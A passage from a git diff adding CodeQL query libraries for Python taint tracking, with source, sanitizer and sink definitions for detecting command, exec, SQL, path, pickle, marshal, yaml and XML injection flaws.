fromnode.getTaintKind() and + sequence_construct(fromnode.getNode(), tonode) + ) + } + + pragma [noinline] + predicate import_step(TaintedNode fromnode, TrackedAttribute totaint, CallContext tocontext, ImportExprNode tonode) { + exists(string name | + import_flow(fromnode, tonode, tocontext, name) and + totaint.fromAttribute(name) = fromnode.getTrackedValue() + ) + } + + pragma [noinline] + private predicate import_flow(TaintedNode fromnode, ImportExprNode tonode, CallContext tocontext, string name) { + exists(ModuleObject mod | + tonode.refersTo(mod) and + module_attribute_tainted(mod, name, fromnode) and + tocontext.appliesTo(tonode) + ) + } + + pragma [noinline] + predicate data_flow_step(CallContext fromcontext, ControlFlowNode fromnode, CallContext tocontext, ControlFlowNode tonode) { + if_exp_step(fromcontext, fromnode, tocontext, tonode) + or + call_flow_step(fromcontext, fromnode, tocontext, tonode) + or + parameter_step(fromcontext, fromnode, tocontext, tonode) + } + + pragma [noinline] + predicate from_import_step(TaintedNode fromnode, TrackedValue totaint, CallContext tocontext, ControlFlowNode tonode) { + exists(string name, ImportExprNode fmod, ModuleObject mod | + fmod = tonode.(ImportMemberNode).getModule(name) and + fmod.refersTo(mod) and + tocontext.appliesTo(tonode) and + module_attribute_tainted(mod, name, fromnode) and + totaint = fromnode.getTrackedValue() + ) + } + + pragma [noinline] + predicate getattr_step(TaintedNode fromnode, TrackedValue totaint, CallContext tocontext, CallNode tonode) { + exists(ControlFlowNode arg, string name | + tonode.getFunction().refersTo(builtin_object("getattr")) and + arg = tonode.getArg(0) and + name = tonode.getArg(1).getNode().(StrConst).getText() and + arg = fromnode.getNode() and + totaint = fromnode.fromAttribute(name) and + tocontext = fromnode.getContext() + ) + } + + pragma [noinline] + predicate attribute_load_step(TaintedNode fromnode, TrackedValue totaint, CallContext tocontext, AttrNode tonode) { + tonode.isLoad() and + exists(string name, ControlFlowNode f | + f = tonode.getObject(name) and + tocontext = fromnode.getContext() and + f = fromnode.getNode() and + ( + totaint = TTrackedTaint(fromnode.getTaintKind().getTaintOfAttribute(name)) + or + totaint = fromnode.fromAttribute(name) + ) + ) + } + + pragma [noinline] + predicate attribute_store_step(TaintedNode fromnode, TrackedAttribute totaint, CallContext tocontext, ControlFlowNode tonode) { + exists(string name | + attribute_store_flow(fromnode.getNode(), tonode, name) and + totaint.fromAttribute(name) = fromnode.getTrackedValue() + ) and + tocontext = fromnode.getContext() + } + + pragma [noinline] + private predicate attribute_store_flow(ControlFlowNode fromnode, ControlFlowNode tonode, string name) { + exists(AttrNode lhs | + tonode = lhs.getObject(name) and fromnode = lhs.(DefinitionNode).getValue() + ) + } + + predicate module_attribute_tainted(ModuleObject m, string name, TaintedNode origin) { + exists(EssaVariable var, CallContext c | + var.getName() = name and + BaseFlow::reaches_exit(var) and + var.getScope() = m.getModule() and + tainted_var(var, c, origin) and + c = TTop() + ) + } + + predicate use_step(TaintedNode fromnode, TrackedValue totaint, CallContext tocontext, ControlFlowNode tonode) { + exists(EssaVariable var | + var.getASourceUse() = tonode and + tainted_var(var, tocontext, fromnode) and + totaint = fromnode.getTrackedValue() + ) + } + + pragma [noinline] + predicate call_flow_step(CallContext callee, ControlFlowNode fromnode, CallContext caller, ControlFlowNode call) { + exists(PyFunctionObject func | + callee.appliesToScope(func.getFunction()) and + func.getACall() = call and + func.getAReturnedNode() = fromnode | + callee = caller.getCallee(call) + or + caller = callee and caller = TTop() + ) + } + + predicate call_taint_step(TaintedNode fromnode, TrackedValue totaint, CallContext tocontext, CallNode call) { + exists(string name | + call.getFunction().(AttrNode).getObject(name) = fromnode.getNode() and + totaint = TTrackedTaint(fromnode.getTaintKind().getTaintOfMethodResult(name)) and + tocontext = fromnode.getContext() + ) + or + exists(EssaVariable self, CallContext callee | + self_init_end_transfer(self, callee, call, tocontext) and + tainted_var(self, callee, fromnode) and + totaint = fromnode.getTrackedValue() + ) + } + + predicate self_init_end_transfer(EssaVariable self, CallContext callee, CallNode call, CallContext caller) { + exists(ClassObject cls, Function init | + PointsTo::instantiation(call, _, cls) and + init = cls.lookupAttribute("__init__").(FunctionObject).getFunction() and + self.getSourceVariable().(Variable).isSelf() and self.getScope() = init + | + callee = caller.getCallee(call) + or + caller = callee and caller = TTop() + ) + } + + predicate tainted_var(EssaVariable var, CallContext context, TaintedNode origin) { + tainted_def(var.getDefinition(), context, origin) + or + exists(EssaVariable prev | + tainted_var(prev, context, origin) and + prev.(DataFlowVariable).getASuccessorVariable() = var + ) + or + origin.getNode().(DataFlowNode).getASuccessorVariable() = var and + context = origin.getContext() + or + exists(TrackedTaint taint, EssaVariable prev | + tainted_var(prev, context, origin) and + origin.getTrackedValue() = taint and + taint.getKind().additionalFlowStepVar(prev, var) + ) + or + exists(TaintFlow flow, TrackedTaint taint, EssaVariable prev | + tainted_var(prev, context, origin) and + origin.getTrackedValue() = taint and + flow.additionalFlowStepVar(prev, var, taint.getKind()) + ) + } + + predicate tainted_def(EssaDefinition def, CallContext context, TaintedNode origin) { + unsanitized_tainted_def(def, context, origin) and + ( + origin.getTrackedValue() instanceof TrackedAttribute + or + exists(TaintKind kind | + kind = origin.getTaintKind() and + not exists(Sanitizer san | + san.sanitizingDefinition(kind, def) + or + san.sanitizingNode(kind, def.(EssaNodeDefinition).getDefiningNode()) + or + san.sanitizingNode(kind, def.(EssaNodeRefinement).getDefiningNode()) + ) + ) + ) + } + + predicate unsanitized_tainted_def(EssaDefinition def, CallContext context, TaintedNode origin) { + exists(TrackedValue val, ControlFlowNode node | + user_tainted_def(def, val, context, node) and + origin = TTaintedNode_(val, context, node) + ) + or + tainted_phi(def, context, origin) + or + tainted_assignment(def, context, origin) + or + tainted_attribute_assignment(def, context, origin) + or + tainted_parameter_def(def, context, origin) + or + tainted_callsite(def, context, origin) + or + tainted_method_callsite(def, context, origin) + or + tainted_edge(def, context, origin) + or + tainted_argument(def, context, origin) + or + tainted_import_star(def, context, origin) + or + tainted_uni_edge(def, context, origin) + or + tainted_scope_entry(def, context, origin) + or + tainted_with(def, context, origin) + or + tainted_exception_capture(def, context, origin) + } + + predicate tainted_scope_entry(ScopeEntryDefinition def, CallContext context, TaintedNode origin) { + exists(EssaVariable var | + BaseFlow::scope_entry_value_transfer_from_earlier(var, _, def, _) and + tainted_var(var, context, origin) + ) + } + + pragma [noinline] + predicate tainted_phi(PhiFunction phi, CallContext context, TaintedNode origin) { + exists(BasicBlock pred, EssaVariable predvar | + predvar = phi.getInput(pred) and + tainted_var(predvar, context, origin) and + not pred.unlikelySuccessor(phi.getBasicBlock()) and + not predvar.(DataFlowExtension::DataFlowVariable).prunedSuccessor(phi.getVariable()) + ) + } + + pragma [noinline] + predicate tainted_assignment(AssignmentDefinition def, CallContext context, TaintedNode origin) { + origin.getNode() = def.getValue() and + context = origin.getContext() + } + + pragma [noinline] + predicate tainted_attribute_assignment(AttributeAssignment def, CallContext context, TaintedNode origin) { + context = origin.getContext() and + origin.getNode() = def.getDefiningNode().(AttrNode).getObject() + } + + pragma [noinline] + predicate tainted_callsite(CallsiteRefinement call, CallContext context, TaintedNode origin) { + /* In the interest of simplicity and performance we assume that tainted escaping variables remain tainted across calls. + * In the cases were this assumption is false, it is easy enough to add an additional sanitizer. + */ + tainted_var(call.getInput(), context, origin) + } + + pragma [noinline] + predicate parameter_step(CallContext caller, ControlFlowNode argument, CallContext callee, NameNode param) { + exists(ParameterDefinition def | + def.getDefiningNode() = param and + exists(FunctionObject func, CallNode call | + exists(int n | argument = func.getArgumentForCall(call, n) and param.getNode() = func.getFunction().getArg(n)) + or + exists(string name | argument = func.getNamedArgumentForCall(call, name) and param.getNode() = func.getFunction().getArgByName(name)) + or + class_initializer_argument(_, _, call, func, argument, param) + | + callee = caller.getCallee(call) + ) + ) + } + + pragma [noinline] + predicate class_initializer_argument(ClassObject cls, int n, CallNode call, FunctionObject func, ControlFlowNode argument, NameNode param) { + PointsTo::instantiation(call, _, cls) and + cls.lookupAttribute("__init__") = func and + call.getArg(n) = argument and + param.getNode() = func.getFunction().getArg(n+1) + } + + pragma [noinline] + predicate tainted_parameter_def(ParameterDefinition def, CallContext context, TaintedNode fromnode) { + fromnode.getNode() = def.getDefiningNode() and + context = fromnode.getContext() + } + + pragma [noinline] + predicate if_exp_step(CallContext fromcontext, ControlFlowNode operand, CallContext tocontext, IfExprNode ifexp) { + fromcontext = tocontext and fromcontext.appliesTo(operand) and + ifexp.getAnOperand() = operand + } + + pragma [noinline] + predicate tainted_method_callsite(MethodCallsiteRefinement call, CallContext context, TaintedNode origin) { + tainted_var(call.getInput(), context, origin) and + exists(TaintKind kind | + kind = origin.getTaintKind() | + not exists(FunctionObject callee, Sanitizer sanitizer | + callee.getACall() = call.getCall() and + sanitizer.sanitizingCall(kind, callee) + ) + ) + } + + pragma [noinline] + predicate tainted_edge(PyEdgeRefinement test, CallContext context, TaintedNode origin) { + exists(EssaVariable var, TaintKind kind | + kind = origin.getTaintKind() and + var = test.getInput() and + tainted_var(var, context, origin) and + not exists(Sanitizer sanitizer | + sanitizer.sanitizingEdge(kind, test) + ) + | + not Filters::isinstance(test.getTest(), _, var.getSourceVariable().getAUse()) + or + exists(ControlFlowNode c, ClassObject cls | + Filters::isinstance(test.getTest(), c, var.getSourceVariable().getAUse()) + and c.refersTo(cls) + | + test.getSense() = true and kind.getClass().getAnImproperSuperType() = cls + or + test.getSense() = false and not kind.getClass().getAnImproperSuperType() = cls + ) + ) + } + + pragma [noinline] + predicate tainted_argument(ArgumentRefinement def, CallContext context, TaintedNode origin) { + tainted_var(def.getInput(), context, origin) + } + + pragma [noinline] + predicate tainted_import_star(ImportStarRefinement def, CallContext context, TaintedNode origin) { + exists(ModuleObject mod, string name | + PointsTo::Flow::module_and_name_for_import_star(mod, name, def, _) | + if mod.exports(name) then ( + /* Attribute from imported module */ + module_attribute_tainted(mod, name, origin) and + context.appliesTo(def.getDefiningNode()) + ) else ( + /* Retain value held before import */ + exists(EssaVariable var | + var = def.getInput() and + tainted_var(var, context, origin) + ) + ) + ) + } + + pragma [noinline] + predicate tainted_uni_edge(SingleSuccessorGuard uniphi, CallContext context, TaintedNode origin) { + exists(EssaVariable var, TaintKind kind | + kind = origin.getTaintKind() and + var = uniphi.getInput() and + tainted_var(var, context, origin) and + not exists(Sanitizer sanitizer | + sanitizer.sanitizingSingleEdge(kind, uniphi) + ) + ) + } + + pragma [noinline] + predicate tainted_with(WithDefinition def, CallContext context, TaintedNode origin) { + with_flow(_, origin.getNode(),def.getDefiningNode()) and + context = origin.getContext() + } + + pragma [noinline] + predicate tainted_exception_capture(ExceptionCapture def, CallContext context, TaintedNode fromnode) { + fromnode.getNode() = def.getDefiningNode() and + context = fromnode.getContext() + } + +} + +/* Helper predicate for tainted_with */ +private predicate with_flow(With with, ControlFlowNode contextManager, ControlFlowNode var) { + with.getContextExpr() = contextManager.getNode() and + with.getOptionalVars() = var.getNode() and + contextManager.strictlyDominates(var) +} + +/* "Magic" sources and sinks which only have `toString()`s when + * no sources are defined or no sinks are defined or no kinds are present. + * In those cases, these classes make sure that an informative error + * message is presented to the user. + */ + +library class ValidatingTaintSource extends TaintSource { + + override string toString() { + result = error() + } + + ValidatingTaintSource() { + this = uniqueCfgNode() + } + + override predicate isSourceOf(TaintKind kind) { none() } + + override predicate hasLocationInfo(string fp, int bl, int bc, int el, int ec) { + fp = error() and bl = 0 and bc = 0 and el = 0 and ec = 0 + } + + +} + +library class ValidatingTaintSink extends TaintSink { + + override string toString() { + result = error() + } + + ValidatingTaintSink() { + this = uniqueCfgNode() + } + + override predicate sinks(TaintKind kind) { none() } + + override predicate hasLocationInfo(string fp, int bl, int bc, int el, int ec) { + fp = error() and bl = 0 and bc = 0 and el = 0 and ec = 0 + } + +} + + +/* Helpers for Validating classes */ + +private string locatable_module_name() { + exists(Module m | + exists(m.getLocation()) and + result = m.getName() + ) +} + +private ControlFlowNode uniqueCfgNode() { + exists(Module m | + result = m.getEntryNode() and + m.getName() = min(string name | name = locatable_module_name()) + ) +} + +private string error() { + forall(TaintSource s | s instanceof ValidatingTaintSource) and + result = "No sources defined" + or + forall(TaintSink s | s instanceof ValidatingTaintSink) and + result = "No sinks defined" +} + + +private newtype TCallContext = + TTop() + or + TCalleeContext(CallNode call, CallContext caller, int depth) { + caller.appliesToScope(call.getScope()) and + depth = caller.getDepth() + 1 and depth < 7 and + exists(TaintedNode n | + n = TTaintedNode_(_, caller, call.getAnArg()) + ) + } + +private import semmle.python.pointsto.PointsTo + +pragma [inline] +private string shortLocation(Location l) { + result = l.getFile().getShortName() + ":" + l.getStartLine() +} + +/** Call context for use in taint-tracking. + * Using call contexts prevents "cross talk" between different calls + * to the same function. For example, if a function f is defined as + * ```python + * def f(arg): + * return arg + * ``` + * Then `f("tainted")` is "tainted", but `f("ok") is "ok". + */ +class CallContext extends TCallContext { + + string toString() { + this = TTop() and result = "" + or + exists(CallNode callsite, CallContext caller | + this = TCalleeContext(callsite, caller, _) | + result = shortLocation(callsite.getLocation()) + " from " + caller.toString() and caller = TCalleeContext(_, _, _) + or + result = shortLocation(callsite.getLocation()) and caller = TTop() + ) + } + + /** Holds if this context can apply to `n`. + */ + pragma[inline] + predicate appliesTo(ControlFlowNode n) { + this.appliesToScope(n.getScope()) + } + + /** Holds if this context can apply to `s` + */ + predicate appliesToScope(Scope s) { + this = TTop() + or + exists(FunctionObject f, CallNode call | + this = TCalleeContext(call, _, _) and + f.getFunction() = s and f.getACall() = call + ) + or + exists(ClassObject cls,CallNode call | + this = TCalleeContext(call, _, _) and + PointsTo::instantiation(call, _, cls) and + s = cls.lookupAttribute("__init__").(FunctionObject).getFunction() and + call.getFunction().refersTo(cls) + ) + } + + /** Gets the call depth of this context. + */ + int getDepth() { + this = TTop() and result = 0 + or + this = TCalleeContext(_, _, result) + } + + CallContext getCallee(CallNode call) { + result = TCalleeContext(call, this, _) + } + + CallContext getCaller() { + this = TCalleeContext(_, result, _) + } + +} + +pragma [noinline] +private predicate dict_construct(ControlFlowNode itemnode, ControlFlowNode dictnode) { + dictnode.(DictNode).getAValue() = itemnode + or + dictnode.(CallNode).getFunction().refersTo(theDictType()) and + dictnode.(CallNode).getArgByName(_) = itemnode +} + +pragma [noinline] +private predicate sequence_construct(ControlFlowNode itemnode, ControlFlowNode seqnode) { + seqnode.isLoad() and + ( + seqnode.(ListNode).getElement(_) = itemnode + or + seqnode.(TupleNode).getElement(_) = itemnode + or + seqnode.(SetNode).getAnElement() = itemnode + ) +} + + +/* A call to construct a sequence from a sequence or iterator*/ +pragma [noinline] +private predicate sequence_call(ControlFlowNode fromnode, CallNode tonode) { + tonode.getArg(0) = fromnode and + exists(ControlFlowNode cls | + cls = tonode.getFunction() | + cls.refersTo(theListType()) + or + cls.refersTo(theTupleType()) + or + cls.refersTo(theSetType()) + ) +} diff --git a/python/ql/src/semmle/python/security/flow/AnyCall.qll b/python/ql/src/semmle/python/security/flow/AnyCall.qll new file mode 100644 index 00000000000..7a766bf25a5 --- /dev/null +++ b/python/ql/src/semmle/python/security/flow/AnyCall.qll @@ -0,0 +1,15 @@ +import python +import semmle.python.security.strings.Basic + +/** Assume that taint flows from argument to result for *any* call */ +class AnyCallStringFlow extends DataFlowExtension::DataFlowNode { + + AnyCallStringFlow() { + any(CallNode call).getAnArg() = this + } + + override ControlFlowNode getASuccessorNode() { + result.(CallNode).getAnArg() = this + } + +} diff --git a/python/ql/src/semmle/python/security/injection/Command.qll b/python/ql/src/semmle/python/security/injection/Command.qll new file mode 100644 index 00000000000..fa9f7604a06 --- /dev/null +++ b/python/ql/src/semmle/python/security/injection/Command.qll @@ -0,0 +1,127 @@ +/** Provides class and predicates to track external data that + * may represent malicious OS commands. + * + * This module is intended to be imported into a taint-tracking query + * to extend `TaintKind` and `TaintSink`. + * + */ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Untrusted + + +private ModuleObject subprocessModule() { + result.getName() = "subprocess" +} + +private ModuleObject osOrPopenModule() { + result.getName() = "os" or + result.getName() = "popen2" +} + +private Object makeOsCall() { + exists(string name | + result = subprocessModule().getAttribute(name) | + name = "Popen" or + name = "call" or + name = "check_call" or + name = "check_output" or + name = "run" + ) +} + +/**Special case for first element in sequence. */ +class FirstElementKind extends TaintKind { + + FirstElementKind() { + this = "sequence[" + any(ExternalStringKind key) + "][0]" + } + + override string repr() { + result = "first item in sequence of " + this.getItem().repr() + } + + /** Gets the taint kind for item in this sequence. */ + ExternalStringKind getItem() { + this = "sequence[" + result + "][0]" + } + +} + +class FirstElementFlow extends DataFlowExtension::DataFlowNode { + + FirstElementFlow() { + this = any(SequenceNode s).getElement(0) + } + + override + ControlFlowNode getASuccessorNode(TaintKind fromkind, TaintKind tokind) { + result.(SequenceNode).getElement(0) = this and tokind.(FirstElementKind).getItem() = fromkind + } + +} + +/** A taint sink that is potentially vulnerable to malicious shell commands. + * The `vuln` in `subprocess.call(shell=vuln)` and similar calls. + */ +class ShellCommand extends TaintSink { + + override string toString() { result = "shell command" } + + ShellCommand() { + exists(CallNode call, Object istrue | + call.getFunction().refersTo(makeOsCall()) and + call.getAnArg() = this and + call.getArgByName("shell").refersTo(istrue) and + istrue.booleanValue() = true + ) + or + exists(CallNode call, string name | + call.getAnArg() = this and + call.getFunction().refersTo(osOrPopenModule().getAttribute(name)) | + name = "system" or + name = "popen" or + name.matches("popen_") + ) + or + exists(CallNode call | + call.getAnArg() = this and + call.getFunction().refersTo(any(ModuleObject commands | commands.getName() = "commands")) + ) + } + + override predicate sinks(TaintKind kind) { + /* Tainted string command */ + kind instanceof ExternalStringKind + or + /* List (or tuple) containing a tainted string command */ + kind instanceof ExternalStringSequenceKind + } + +} + +/** A taint sink that is potentially vulnerable to malicious shell commands. + * The `vuln` in `subprocess.call(vuln, ...)` and similar calls. + */ +class OsCommandFirstArgument extends TaintSink { + + override string toString() { result = "OS command first argument" } + + OsCommandFirstArgument() { + not this instanceof ShellCommand and + exists(CallNode call| + call.getFunction().refersTo(makeOsCall()) and + call.getArg(0) = this + ) + } + + override predicate sinks(TaintKind kind) { + /* Tainted string command */ + kind instanceof ExternalStringKind + or + /* List (or tuple) whose first element is tainted */ + kind instanceof FirstElementKind + } + +} diff --git a/python/ql/src/semmle/python/security/injection/Exec.qll b/python/ql/src/semmle/python/security/injection/Exec.qll new file mode 100644 index 00000000000..f16c3bfd439 --- /dev/null +++ b/python/ql/src/semmle/python/security/injection/Exec.qll @@ -0,0 +1,42 @@ +/** Provides class and predicates to track external data that + * may represent malicious Python code. + * + * This module is intended to be imported into a taint-tracking query + * to extend `TaintKind` and `TaintSink`. + * + */ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Untrusted + + +private FunctionObject exec_or_eval() { + result = builtin_object("exec") + or + result = builtin_object("eval") +} + +/** A taint sink that represents an argument to exec or eval that is vulnerable to malicious input. + * The `vuln` in `exec(vuln)` or similar. + */ +class StringEvaluationNode extends TaintSink { + + override string toString() { result = "exec or eval" } + + StringEvaluationNode() { + exists(Exec exec | + exec.getASubExpression().getAFlowNode() = this + ) + or + exists(CallNode call | + exec_or_eval().getACall() = call and + call.getAnArg() = this + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + +} diff --git a/python/ql/src/semmle/python/security/injection/Marshal.qll b/python/ql/src/semmle/python/security/injection/Marshal.qll new file mode 100644 index 00000000000..b9b712c43da --- /dev/null +++ b/python/ql/src/semmle/python/security/injection/Marshal.qll @@ -0,0 +1,36 @@ +/** Provides class and predicates to track external data that + * may represent malicious marshals. + * + * This module is intended to be imported into a taint-tracking query + * to extend `TaintKind` and `TaintSink`. + * + */ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Untrusted + + +private FunctionObject marshalLoads() { + result = any(ModuleObject marshal | marshal.getName() = "marshal").getAttribute("loads") +} + + +/** A taint sink that is potentially vulnerable to malicious marshaled objects. + * The `vuln` in `marshal.loads(vuln)`. */ +class UnmarshalingNode extends TaintSink { + + override string toString() { result = "unmarshaling vulnerability" } + + UnmarshalingNode() { + exists(CallNode call | + marshalLoads().getACall() = call and + call.getAnArg() = this + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + +} diff --git a/python/ql/src/semmle/python/security/injection/Path.qll b/python/ql/src/semmle/python/security/injection/Path.qll new file mode 100644 index 00000000000..cee8c12fc16 --- /dev/null +++ b/python/ql/src/semmle/python/security/injection/Path.qll @@ -0,0 +1,103 @@ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Untrusted + +/** Prevents taint flowing through ntpath.normpath() + * NormalizedPath below handles that case. + */ +private class PathSanitizer extends Sanitizer { + + PathSanitizer() { + this = "path.sanitizer" + } + + override predicate sanitizingNode(TaintKind taint, ControlFlowNode node) { + taint instanceof ExternalStringKind and + abspath_call(node, _) + } + +} + +private FunctionObject abspath() { + exists(ModuleObject os, ModuleObject os_path | + os.getName() = "os" and + os.getAttribute("path") = os_path | + os_path.getAttribute("abspath") = result + or + os_path.getAttribute("normpath") = result + ) +} + +/** A path that has been normalized, but not verified to be safe */ +class NormalizedPath extends TaintKind { + + NormalizedPath() { + this = "normalized.path.injection" + } + + override string repr() { + result = "normalized path" + } + +} + +private predicate abspath_call(CallNode call, ControlFlowNode arg) { + call.getFunction().refersTo(abspath()) and + arg = call.getArg(0) +} + + +class AbsPath extends DataFlowExtension::DataFlowNode { + + AbsPath() { + abspath_call(_, this) + } + + override + ControlFlowNode getASuccessorNode(TaintKind fromkind, TaintKind tokind) { + abspath_call(result, this) and tokind instanceof NormalizedPath and fromkind instanceof ExternalStringKind + } + +} + +class NormalizedPathSanitizer extends Sanitizer { + + NormalizedPathSanitizer() { + this = "normalized.path.sanitizer" + } + + override predicate sanitizingEdge(TaintKind taint, PyEdgeRefinement test) { + taint instanceof NormalizedPath and + test.getTest().(CallNode).getFunction().(AttrNode).getName() = "startswith" and + test.getSense() = true + } + +} + +/** A taint sink that is vulnerable to malicious paths. + * The `vuln` in `open(vuln)` and similar. + */ +class OpenNode extends TaintSink { + + override string toString() { result = "argument to open()" } + + OpenNode() { + exists(CallNode call | + call.getFunction().refersTo(builtin_object("open")) and + call.getAnArg() = this + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + or + kind instanceof NormalizedPath + } + +} + + + + + diff --git a/python/ql/src/semmle/python/security/injection/Pickle.qll b/python/ql/src/semmle/python/security/injection/Pickle.qll new file mode 100644 index 00000000000..50914650d9f --- /dev/null +++ b/python/ql/src/semmle/python/security/injection/Pickle.qll @@ -0,0 +1,40 @@ +/** Provides class and predicates to track external data that + * may represent malicious pickles. + * + * This module is intended to be imported into a taint-tracking query + * to extend `TaintKind` and `TaintSink`. + * + */ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Untrusted + + +private ModuleObject pickleModule() { + result.getName() = "pickle" + or + result.getName() = "cPickle" +} + +private FunctionObject pickleLoads() { + result = pickleModule().getAttribute("loads") +} + +/** `pickle.loads(untrusted)` vulnerability. */ +class UnpicklingNode extends TaintSink { + + override string toString() { result = "unpickling untrusted data" } + + UnpicklingNode() { + exists(CallNode call | + pickleLoads().getACall() = call and + call.getAnArg() = this + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + +} diff --git a/python/ql/src/semmle/python/security/injection/Sql.qll b/python/ql/src/semmle/python/security/injection/Sql.qll new file mode 100644 index 00000000000..26bea04c6a7 --- /dev/null +++ b/python/ql/src/semmle/python/security/injection/Sql.qll @@ -0,0 +1,96 @@ +/** Provides class and predicates to track external data that + * may represent malicious SQL queries or parts of queries. + * + * This module is intended to be imported into a taint-tracking query + * to extend `TaintKind` and `TaintSink`. + * + */ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Untrusted + + +private StringObject first_part(ControlFlowNode command) { + command.(BinaryExprNode).getOp() instanceof Add and + command.(BinaryExprNode).getLeft().refersTo(result) + or + exists(CallNode call, SequenceObject seq | + call = command | + call = theStrType().lookupAttribute("join") and + call.getArg(0).refersTo(seq) and + seq.getInferredElement(0) = result + ) + or + command.(BinaryExprNode).getOp() instanceof Mod and + command.getNode().(StrConst).getLiteralObject() = result +} + +/** Holds if `command` appears to be a SQL command string of which `inject` is a part. */ +predicate probable_sql_command(ControlFlowNode command, ControlFlowNode inject) { + exists(string prefix | + inject = command.getAChild*() and + first_part(command).getText().regexpMatch(" *" + prefix + ".*") + | + prefix = "CREATE" or prefix = "SELECT" + ) +} + +/** A taint kind representing a DB cursor. + * This will be overridden to provide specific kinds of DB cursor. + */ +abstract class DbCursor extends TaintKind { + + bindingset[this] + DbCursor() { any() } + + string getExecuteMethodName() { result = "execute" } + +} + + +/** A part of a string that appears to be a SQL command and is thus + * vulnerable to malicious input. + */ +class SimpleSqlStringInjection extends TaintSink { + + override string toString() { result = "simple SQL string injection" } + + SimpleSqlStringInjection() { + probable_sql_command(_, this) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + +} + +/** A taint source representing sources of DB connections. + * This will be overridden to provide specific kinds of DB connection sources. + */ +abstract class DbConnectionSource extends TaintSource { + +} + +/** A taint sink that is vulnerable to malicious SQL queries. + * The `vuln` in `db.connection.execute(vuln)` and similar. + */ +class DbConnectionExecuteArgument extends TaintSink { + + override string toString() { result = "db.connection.execute" } + + DbConnectionExecuteArgument() { + exists(CallNode call, DbCursor cursor, string name | + cursor.taints(call.getFunction().(AttrNode).getObject(name)) and + cursor.getExecuteMethodName() = name and + call.getArg(0) = this + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } +} + + diff --git a/python/ql/src/semmle/python/security/injection/Xml.qll b/python/ql/src/semmle/python/security/injection/Xml.qll new file mode 100644 index 00000000000..0c4a8136bbb --- /dev/null +++ b/python/ql/src/semmle/python/security/injection/Xml.qll @@ -0,0 +1,95 @@ +/** Provides class and predicates to track external data that + * may represent malicious XML objects. + * + * This module is intended to be imported into a taint-tracking query + * to extend `TaintKind` and `TaintSink`. + */ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Untrusted + + +private ModuleObject xmlElementTreeModule() { + result.getName() = "xml.etree.ElementTree" +} + +private ModuleObject xmlMiniDomModule() { + result.getName() = "xml.dom.minidom" +} + +private ModuleObject xmlPullDomModule() { + result.getName() = "xml.dom.pulldom" +} + +private ModuleObject xmlSaxModule() { + result.getName() = "xml.sax" +} + +private class ExpatParser extends TaintKind { + + ExpatParser() { this = "expat.parser" } + +} + +private FunctionObject expatCreateParseFunction() { + exists(ModuleObject expat | + expat.getName() = "xml.parsers.expat" and + result = expat.getAttribute("ParserCreate") + ) +} + +private class ExpatCreateParser extends TaintSource { + + ExpatCreateParser() { + expatCreateParseFunction().getACall() = this + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExpatParser + } + + string toString() { + result = "expat.create.parser" + } +} + +private FunctionObject xmlFromString() { + result = xmlElementTreeModule().getAttribute("fromstring") + or + result = xmlMiniDomModule().getAttribute("parseString") + or + result = xmlPullDomModule().getAttribute("parseString") + or + result = xmlSaxModule().getAttribute("parseString") +} + +/** A (potentially) malicious XML string. */ +class ExternalXmlString extends ExternalStringKind { + + ExternalXmlString() { + this = "external xml encoded object" + } + +} + +/** A call to an XML library function that is potentially vulnerable to a + * specially crafted XML string. + */ +class XmlLoadNode extends TaintSink { + + override string toString() { result = "xml.load vulnerability" } + + XmlLoadNode() { + exists(CallNode call | + call.getAnArg() = this | + xmlFromString().getACall() = call or + any(ExpatParser parser).taints(call.getFunction().(AttrNode).getObject("Parse")) + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalXmlString + } + +} diff --git a/python/ql/src/semmle/python/security/injection/Yaml.qll b/python/ql/src/semmle/python/security/injection/Yaml.qll new file mode 100644 index 00000000000..e2e1b983ea9 --- /dev/null +++ b/python/ql/src/semmle/python/security/injection/Yaml.qll @@ -0,0 +1,40 @@ +/** Provides class and predicates to track external data that + * may represent malicious yaml-encoded objects. + * + * This module is intended to be imported into a taint-tracking query + * to extend `TaintKind` and `TaintSink`. + * + */ + +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Untrusted + + +private ModuleObject yamlModule() { + result.getName() = "yaml" +} + + +private FunctionObject yamlLoad() { + result = yamlModule().getAttribute("load") +} + +/** `yaml.load(untrusted)` vulnerability. */ +class YamlLoadNode extends TaintSink { + + override string toString() { result = "yaml.load vulnerability" } + + YamlLoadNode() { + exists(CallNode call | + yamlLoad().getACall() = call and + call.getAnArg() = this + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + +} diff --git a/python/ql/src/semmle/python/security/strings/Basic.qll b/python/ql/src/semmle/python/security/strings/Basic.qll new file mode 100755 index 00000000000..cbb35668c5a --- /dev/null +++ b/python/ql/src/semmle/python/security/strings/Basic.qll @@ -0,0 +1,118 @@ +import python +private import Common + +import semmle.python.security.TaintTracking + +/** An extensible kind of taint representing any kind of string. + */ +abstract class StringKind extends TaintKind { + + bindingset[this] + StringKind() { + this = this + } + + override TaintKind getTaintForFlowStep(ControlFlowNode fromnode, ControlFlowNode tonode) { + result = this and + ( + str_method_call(fromnode, tonode) or + slice(fromnode, tonode) or + tonode.(BinaryExprNode).getAnOperand() = fromnode or + os_path_join(fromnode, tonode) or + str_format(fromnode, tonode) or + encode_decode(fromnode, tonode) or + to_str(fromnode, tonode) + ) + or + result = this and copy_call(fromnode, tonode) + } + + override ClassObject getClass() { + result = theStrType() or result = theUnicodeType() + } + +} + +private class StringEqualitySanitizer extends Sanitizer { + + StringEqualitySanitizer() { this = "string equality sanitizer" } + + /** The test `if untrusted == "KNOWN_VALUE":` sanitizes `untrusted` on its `true` edge. */ + override predicate sanitizingEdge(TaintKind taint, 